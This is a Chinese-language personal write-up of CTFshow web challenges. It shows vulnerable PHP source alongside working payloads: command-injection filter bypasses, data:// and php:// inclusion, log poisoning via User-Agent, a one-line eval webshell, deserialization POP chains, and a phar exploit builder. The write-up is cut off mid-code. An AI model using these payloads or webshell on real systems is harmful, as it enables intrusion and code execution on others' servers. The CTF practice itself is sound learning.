刷题蛆来咯-CTFshow
前面忘了,后面忘了,记录下就对了
信息收集(Complete)
web01
入门,看源码,view-source
/F12
web02
写的无法查看就无法查看了吗?
非也非也
view-source
其实可以顺带观察一下源码的JS
<script type="text/javascript">
window.oncontextmenu = function(){return false};
window.onselectstart = function(){return false};
window.onkeydown = function(){if (event.keyCode==123){event.keyCode=0;event.returnValue=false;}};
</script>
可以看到第一个控制了右击鼠标事件,第二个控制了选择事件,第三给控制了键盘输入
并且返回结果都是false,这样你当然就无法进行任何操作了啦啦啦
禁止鼠标右键:oncontextmenu=function(){return false};
禁止选择:onselectstart=function(){return false};
禁止拖放:ondragstart=function(){return false};
禁止拷贝:oncopy=document.selection.empty() 。
禁止复制:oncopy = function(){return false};
禁止保存:<noscript><iframe src="*.htm"></iframe></noscript>,放在head里面。
禁止粘贴:<input type=text onpaste=function(){return false};>
禁止剪贴:oncut = function(){return false};;
关闭输入法:<input style="ime-mode:disabled">
web03
提示抓包,那就抓
bp发包直接看到flag在header里面
或者你F12看一眼Network(网络)
刷新一下,点进url也可以从标头这里找到
web04
提示robots
那就是robots.txt(爬虫协议)
,告诉你哪些可以爬,哪些不能爬来的
真实场景记得别手贱就好了。。CTF倒是无所谓
User-agent: *
Disallow: /flagishere.txt
web05
提示phps
源码泄露
众所周知
phps php~ php.bak
这些都是源码泄露,扫到就是赚到
web06
解压源码到当前目录是想赤紫蛋了,感觉是www.zip
或者.git
之类的
扫一下,是www.zip
下下来看到目录里有index.php
和fl000g.txt
打开一眼fakeflag
,但是路径应该没错
闻着味摸过去拿到flag
web07
版本控制很重要,但不要部署到生产环境更重要。
不懂,先吃我一扫
扫出来/.git/
,直接给了
网上找了点解释
git 是一个版本控制工具,很多程序的开发都是多名程序员协同开发的,而 git 则是一个不错的多人协同工具+版本控制工具。
由于部署项目的方便,有很多运维人员直接在网站根目录使用 git clone 项目地址,此时网站根目录就会存在 .git 目录,通过该目录就可以回滚到某个版本或者下载最新的项目源码。
githack:https://github.com/BugScanTeam/GitHack
web08
hint是一样的。。
那再吃我一扫,扫到/.svn/
,也是直接给
web09
发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
vim?那我可要闻着味过来了
vim强制关闭时会产生一个.swp
文件
belike: index.php -> index.php.swp
下过来就直接给了
web10
cookie 只是一块饼干,不能存放任何隐私数据
并非饼干,可以抓个包看看
抓到包直接Cookie: flag就写你脸上了
web11
域名其实也可以隐藏信息,比如flag.ctfshow.com 就隐藏了一条信息
通过dns检查查询flag https://zijian.aliyun.com/ TXT 记录,一般指为某个主机名或域名设置的说明。
查找flag.ctfshow.com域名下的txt记录
web12
有时候网站上的公开信息,就是管理员常用密码
Help Line Number : 372619038
扫出来一个admin/index.php
登录成功力,直接拿到flag
web13
技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
根据提示感觉像弱密码
结果是泄露。/home
下面探一堆找到那个Document
点进去就是一个使用指南,按所给信息登录就行
web14
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
仔细观察源码,看到一个路径editor/upload/banner-app.png
upload被禁止访问了,只能到/editor
翻一下
翻到一个插入文件,没想到能直接调用服务器本地文件系统。
翻一下
直接拿到flag路径:nothinghere/fl000g.txt
web15
公开的信息比如邮箱,可能造成信息泄露,产生严重后果
看一眼邮箱
1156631961@qq.com
又扫到/admin/
了
试一下都不对啊。是不是要忘记密码
要回答城市。。原来是社工题目吗哈哈。。
QQ找一下就好了
web16
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
用wappalyzer
看一眼,语言是PHP,PHP探针没跑了,探针泄露路径tz.php
发现可以直接查看phpinfo()
直接摸到flag
web17
备份的sql文件会泄露敏感信息
不知道指的是.bak
的后缀还是什么
扫到一个backup.sql
打开flag直接就在里面
web18
不要着急,休息,休息一会儿,玩101分给你flag
看来是web前端题了
当然先看一眼有没有源码直接给
摸到一个unicode编码
\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b
转换过来就是:你赢了,去幺幺零点皮爱吃皮看看
110.php
直接给了flag
web19
密钥什么的,就不要放在前端了
看起来像一个密钥泄露嗯。。是flask的SECRET_KEY吗?还是什么。看一眼先
好吧高估了,就是一个判断逻辑放在了前端并且密码和用户都是明文
但是显示密码错误,猜测是放的密码是被加密过的
那么尝试抓包改密码看看这个加密是在前端还是在后端的
结果是前端,直接得到flag
web20
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
通过了解如果数据库未设置访问权限的话,是可以直接访问 把数据库给下载下来的
尝试通过默认名称database.mdb
访问无果,但是扫到了/db
但是访问不了,用一下递归扫描,摸到了db.mdb
下载到本地用010搜一下关键字就可以
爆破(Complete)
web21
爆破什么的,都是基操
上来就弹是吧?上bp
这里了解一下bp的Custom iterator模式
可以将palyload分块处理
比如这题的账号密码其实是以这种方式存在的
base64encode(username:passwd)
并且注入位置在Authorization
记得把最后的urlencode
给去掉
web23
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
具体要求是这样:
第2位要和第15位相等,第15位要和第18位相等
并且第2位+第15位+第18位/第2位要等于第32位
#encoding=gbk
import hashlib
def check(md5str):
# 提取对应位置的字符
c1 = md5str[1]
c2 = md5str[14]
c3 = md5str[17]
c4 = md5str[31]
# 条件1:三个字符相等
if c1 != c2 or c2 != c3:
return False
# 条件2:计算表达式(转 int 前需确保是数字)
if not (c1.isdigit() and c4.isdigit()):
return False
c = int(c1)
try:
result = (c + c + c) / c
except ZeroDivisionError:
return False
return int(result) == int(c4)
# 暴力枚举 token 值
for i in range(100000000):
token = str(i)
md5val = hashlib.md5(token.encode()).hexdigest()
if check(md5val):
print(f"[+] 找到符合条件的 token:{token}")
print(f" md5: {md5val}")
break
web24
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
一个伪随机数的问题。种子固定,随机值是固定的那几个
自己拿php跑一下这个种子的随机值传参即可
web25
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:56:57
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
我们来理一下
1.将flag:MD5编码-->取[0:7]-->作为hex转换成十进制-->作为种子
2.比较token和2*mt_rand()
还是好解决的,因为返回了$rand
值,可以逆着推出$mt_rand
这里是894610327
使用php_mt_rand
工具来破解一下,并结合当前PHP版本得到了合适的种子
1324767434
2626545208
3845172103
运气不是很好啊。。那只能一个个试过去了
结果都没打出来,何意呢。。重新开了靶机再试,104429216
131270818
2698696663
3895390800
。?还是出不来,仔细再看一眼
搞错了搞成1+2了原来是2+3啊哈哈。。
最后试出来是第三个
web26
安装界面直接连接就说连上了。。好怪啊。
找找源码,找到一个checkdb.php
POST:a=&p=&u=&d=&pass=
但是其实抓包抓一下可以直接看到flag的。
web27
本来以为是爆破admin的密码爆了半天没收获结果发现是让我爆破人身份证号码。
高先伊
621022********5237
这边爆破一下日期
爆破了半天得到621022199002015237
登录就可以拿到flag
web28
挺邪门的题目,随便改URL的话会显示重定向过多
尝试把最后的去掉,对0和1的位置进行1-100遍历(问就是扫出来是1-100)
这里使用Cluster bomb
模式
payload type
为Numbers
对1和2位置都设置1-100
命令执行
好玩爱玩,好吃爱吃
喜欢我RCE吗
web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
简单的绕过
\ '' " " ``
都可以绕过,加在flag里就行
?c=system("cat fla\g.php");
然后看源码注释掉的部分即可
web30
命令执行,需要严格的过滤
那看来过滤很不严格了
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
懒得看多出来的过滤,和我的通配符说去吧
?c=passthru("cat fl*");
web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
三种方法:
- 空格替代
?c=echo%09`tac%09fl*`;//这边{IFS}出于未知原因是不可用的
- eval传参
?c=eval($_GET[1]);&1=system('tac flag.php');
- 无参数
eval(end(current(get_defined_vars())));&b=system('tac fl*');
show_source(next(array_reverse(scandir(current(localeconv())))));
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里不看过滤字符串(问就是没必要,还没过滤的很死)
看一眼过滤了
. 空格 ' ` ; (
括号都过滤掉了吗。哈基c你这家伙,但是不影响
这里放弃直接shell的想法,尝试用伪协议作为帮手
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>
为什么这个?>
可以用呢?
看其他师傅的解释说是?>
可以 闭合 php( ?> 闭合的是 eval 里面的 php 语句,eval 后续还有语句的话,依旧是会执行的。)
具体的来说,对于include
空格是个可有可无的东西,即使没有空格它也能从上下文中判断 $var 是变量,它会优先解析变量,然后再处理语句。
?>这部分在这里也很神必,eval解析php语句,而后面的?>直接被当作了无效文字不被处理,而在?>前的语句不加;是无所谓的
多说无益,自己调一眼看看
可以看到后面的语句正常执行了
php,很神奇吧。。
base64是什么几把,我直接php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php当懒狗爽赤😋
web33
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
. 空格 ' ` ; ( "
双引号也没了
但是我前一个好像没用过""啊。。
秒赤
web34
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
. 空格 ` ' ; ( : "
木大木大木大!没有实质用处的过滤哒!和上上个凑一桌去
web35
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
. 空格 ' ` ; ( : " < =
和上上上个一桌
web36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
. 空格 ' ` ; ( : " < = / 数字
数字换成字母
然后和上上上上个一桌
web37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?>
嗯。。这里直接include
了,直接伪协议吧
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTsgPz4=
这里base64是<?php system('tac flag.php'); ?>
或者其实都能命令执行了你用*
偷个懒也没事
这里为什么php://input
用谷歌浏览器的hackbar会出现执行不了的情况(因为这啥比post没有=就发不了包)
只有在包手动改才可以
也可以尝试包含一下日志
nginx 的日志文件 /var/log/nginx/access.log
包含完发现记录了UA头,尝试一下UA头注入
User-Agent: <?php system('tac flag.php');?>
在/路由下注入再包含就可以看到被执行
web38
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
简直说的和你上一题可以用这file一样
咳咳,看到过滤了flag php file
考虑用data伪协议
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTsgPz4=
妈的忘了还有短标签了。
?c=data://text/plain,<?=system("tac fl*")?>
当然的当然这题用日志包含还是可以做
web39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
用一个小小的后缀乱我道心吗。。
?c=data://text/plain,<?php system('tac fl*')?>//
?c=data://text/plain,<?php system('tac fl*')?><?php
两种都行,总之闭合把后面的去掉就行
但是其实不去也行,聪明的php会把后面的后缀当成html直接显示
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
啊呀!骇死我力
过滤了数字
~ ` @ # $ % ^ & * ( ) - = + { } [ ] : ' " , < . > / ? \
符号基本都用不了了
但是您猜怎么着?哎!他这是个中文输入法的括号
无参数rce伺候
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=session_start();system(session_id());
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
无数字字母rce
~ $
不给用,自增取反异或都用不了辣
不异或能怎么办呢。。你看这里是不是还有个|
可以用
利用或来构造字符即可
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
解法1:
利用||管道符的特性
如果||左边的命令(command1)未执行成功,那么就执行||右边的命令(command2);或者换句话说,“如果这个命令执行失败了||那么就执行这个命令。
解法2:
换行来绕过,这个语句本身的意思就是重定向输出表示不回显,(你在反弹shell/提权的时候或许见到过它)
?c=tac flag.php%0a
所以同理只要能分割命令的基本都是没有问题的
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
;
不能用了,但是计划通
同web42
web44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
换通配符,没了
web56
反序列化
web254
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser
{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
public $isVip = false;
public function checkVip()
{
return $this->isVip;
}
public function login($u, $p)
{
if ($this->username === $u && $this->password === $p) {
$this->isVip = true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag()
{
if ($this->isVip) {
global $flag;
echo "your flag is " . $flag;
} else {
echo "no vip, no flag";
}
}
}
$username = $_GET['username'];
$password = $_GET['password'];
if (isset($username) && isset($password)) {
$user = new ctfShowUser();
if ($user->login($username, $password)) {
if ($user->checkVip()) {
$user->vipOneKeyGetFlag();
}
} else {
echo "no vip,no flag";
}
}
就是简单的传。别想歪了(谁想歪了我不说)
web255
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
不帮你创,让你自己搞一搞,序列化入门说是
<?php
class ctfShowUser{
public $username='1';
public $password='1';
public $isVip=true;
}
$A=new ctfShowUser();
echo serialize($A);
发现传不进去,一查发现Cookie中将”作为截断符号
感觉分号也不是很友好啊。url编码整一个
web256
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
比上一题多了个username!=passwd
web257
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
这里看上部分即可
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
直接利用backDoor
类来RCE
class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=True;
public $class = 'info';
}
class info{
private $user='';
}
class backDoor{
private $code="system('ls');";
}
$a=new ctfShowUser();
$a->class=new backDoor();
echo urlencode(serialize($a));
成功执行
web258
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
Cookie不允许O/C开头,后面不准接数字
web259(open)
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
web260
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
本来在想是不是要用原生类的,但是发现好像是杀鸡用牛刀,还是对反序列化这边有一些偏执的固有印象啊。。
希望后面能消除这种偏见。
这里直接序列化一个字符串即可
$a='ctfshow_i_love_36D';
echo urlencode(serialize($a));
web261
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
几个创建时候调用的魔术方法可以直接不看了。。
这里了解到了从7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup()
两个魔术方法,则只有 __unserialize()
方法会生效,__wakeup() 方法会被忽略,那么直接触发文件写入写马即可
结合__unserialize
内的代码,可以看出这边是一个弱比较
class ctfshowvip{
public $username='877.php';//弱比较
public $password='<?php @eval($_POST[1]);?>';
public $code='';
}
$a=new ctfshowvip();
echo serialize($a);
最后蚁剑即可
web262
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
一眼字符串逃逸
但是传完cookie干什么呢。。猜测是要逃逸user为amdin,那就扫一下有没有其他的php文件存在哈,就扫出来一个flag.php
后来根据其他师傅的wp才发现注释里有一个message.php
,眼瞎领域大神发力了嘻嘻
看一眼message.php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
所以这边构造一下在访问message.php就可以过了
error_reporting(0);
class message{
public $from='1';
public $msg='2';
public $to='";s:5:"token";s:4:"admin";}';
public $token='user';
}
$a=new message();
echo serialize($a);
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:27:"";s:5:"token";s:4:"admin";}";s:5:"token";s:4:"user";}
这边后边是27个字符,那就要27个多出来的字符来保证后面的字符逃逸掉,刚好替换后每个多1位,那么就构造27个fuck
就可
f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
常规的打完看看能不能直接打message.php
,毕竟就传个cookie的事情
拿到原CookieO:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"1";s:2:"to";s:1:"2";s:5:"token";s:4:"user";}
直接改
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"1";s:2:"to";s:1:"2";s:5:"token";s:5:"admin";}
base64加密后得到
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiMSI7czoyOiJ0byI7czoxOiIyIjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
直接传也可以得到flag
web263
进来是一个登录界面,懵了一下,果断请他吃我一扫
web264
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
怎么感觉,似曾相识啊。
但是把之前那题能直接改msg的非预期修掉了。
所以直接用上上题的poc
但是由于它不自带msg,你需要抓包改一下Cookie加一个msg,什么值随意
web265
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
感觉是一个md5绕过,马上想起来Error/Exception原生类是可以绕过哈希的,但是这里用不到
仔细想想,要token和password相等,这里必须要token动password也动
那么用&试一下行不行
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token=1;
public $password=1;
}
$a=new ctfshowAdmin();
$a->password=&$a->token;
echo urlencode(serialize($a));
直接就得到flag了
web266
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
这里只要不抛错就能得到正常的结果
这边正则没有用模糊匹配(i)的模式,直接大小写绕过即可
class ctfshow{
public $username="1";
public $password="2";
}
$ctfshowo=new ctfshow();
echo serialize($ctfshowo);
//把结果的ctfshow任意改一个字母为大写即可
并且这边即使什么都不写也是可以的,必定会__destruct
,利用PHP函数名和类名不区分大小写,变量名区分的特性
class Ctfshow{
}
$user = new Ctfshow();
echo(serialize($user));
web267
web275
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
感觉是拼接字符串命令执行
POC1
/?fn=;tac flag.php
做完看源码在思考,能不能写一个马进去呢。。
file_put_contents('shell.php', '<?php @eval($_POST[1]); ?>');
//filename=1.pthml
但是最后没写进去,用命令拼接发现是有文件写入权限的,不懂了
然后发现自己犯了个很弱智的错误
这个马还没访问就被删除拿头执行啊。。
web276
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
增加了一个admin
的认证
并且这里你拿这个admin没办法的。。
思路是phar反序列化,但是由于源码会删除文件,那么就要用条件竞争来玩一玩了。
class filter
{
public $filename = ';cat fl*';
public $evilfile = true;
public $admin = true;
}
// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb, 增加 gif 文件头
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/**
* 将自定义的 meta-data 存入 manifest
* 这个函数需要在php.ini中修改 phar.readonly 为 Off
* 否则的话会抛出
* creating archive "***.phar" disabled by the php.ini setting phar.readonly
* 异常.
*/
$phar->setMetadata($o);
// 添加需压缩的文件
